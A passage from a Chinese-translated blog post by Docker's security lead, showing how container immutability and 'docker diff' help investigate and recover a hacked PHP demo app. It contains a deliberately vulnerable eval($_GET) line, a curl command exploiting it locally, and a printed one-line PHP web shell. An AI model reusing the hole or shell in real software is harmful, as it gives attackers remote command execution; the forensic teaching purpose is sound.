【編者的話】DiogoMónica是Docker的安全領導者。他是Square的早期員工,領導平臺安全團隊。獲得計算機科學學士學位,碩士和博士學位。他擔任幾家安全初創(chuàng)公司的顧問,是一名長期的IEEE志愿者。本文他提供一個利用容器的不變性來防御黑客攻擊的新思路。
Docker容器的一個整潔之處在于它們是不可變的。 Docker附帶一個寫入時復制文件系統(tǒng),這意味著基本映像不能被修改,除非你顯式地做一個提交。
這么做的原因之一是你很容易檢查偏差,如果試圖調(diào)查一個安全事件,這可能會派上用場。
演示應用程序
以下面的演示架構為例:

我們有一個在前端運行的PHP應用程序,以及一個充當我們的后端數(shù)據(jù)庫的MySQL服務器。你可以執(zhí)行下面的命令:
? docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb? docker run -d -p 80:80 --link db:db diogomonica/phphack
當你已經(jīng)運行了數(shù)據(jù)庫和前端,你應該可以看到如下的頁面:

不幸的是,并不像別的正常的PHP應用程序,這個應用程序有一個遠程代碼執(zhí)行漏洞:
if($links) { <h3>Links found</h3> ... eval($_GET['shell']); ?>
它看起來像有人在使用本不該被使用的e??val
!任何攻擊者都可以利用此漏洞,并在遠程主機上執(zhí)行任意命令:
? curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="uid=33(www-data) gid=33(www-data) groups=33(www-data)
任何攻擊者對被攻擊的主機做的第一個操作是下載PHP shell和工具包。有些攻擊者甚至可能會重新改造你的網(wǎng)站:

從被黑中恢復回來
回到不變性,寫時拷貝文件系統(tǒng)提供的一個很酷的事情是能夠看到發(fā)生的所有更改。通過使用docker diff
命令,我們可以看到攻擊者對文件的所有修改:
? docker diff pensive_meitnerC /run C /run/apache2 A /run/apache2/apache2.pid C /run/lock C /run/lock/apache2 C /var C /var/www C /var/www/html C /var/www/html/index.html A /var/www/html/shell.php
很有趣。似乎攻擊者不僅修改了我們的index.html
,而且還下載了一個php-shell
,命名為shell.php
。但我們的重點應該是讓網(wǎng)站恢復回來并重新上線。
我們通過做一個docker提交來存儲這個鏡像以供后續(xù)做分析,并且由于容器是不可變的,我們可以重新啟動我們的容器,讓業(yè)務繼續(xù)提供服務:
? docker commit pensive_meitnersha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 ? docker kill pensive_meitner? docker run -d -p 80:80 --link db:db diogomonica/phphack

我們現(xiàn)在可以回到保存的鏡像,看看攻擊者修改了什么
? docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh# cat index.html<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink> # cat shell.php<?php eval($_GET['cmd']); ?>
這看起來像是我們剛剛被著名的超級精英集團黑客(SUPER ELITE GROUP OF HACKERS)入侵了。
增加黑客攻擊成本
在被攻擊后查看攻擊內(nèi)容是一個很實用的功能,但是如何才能避免被攻擊?這個時候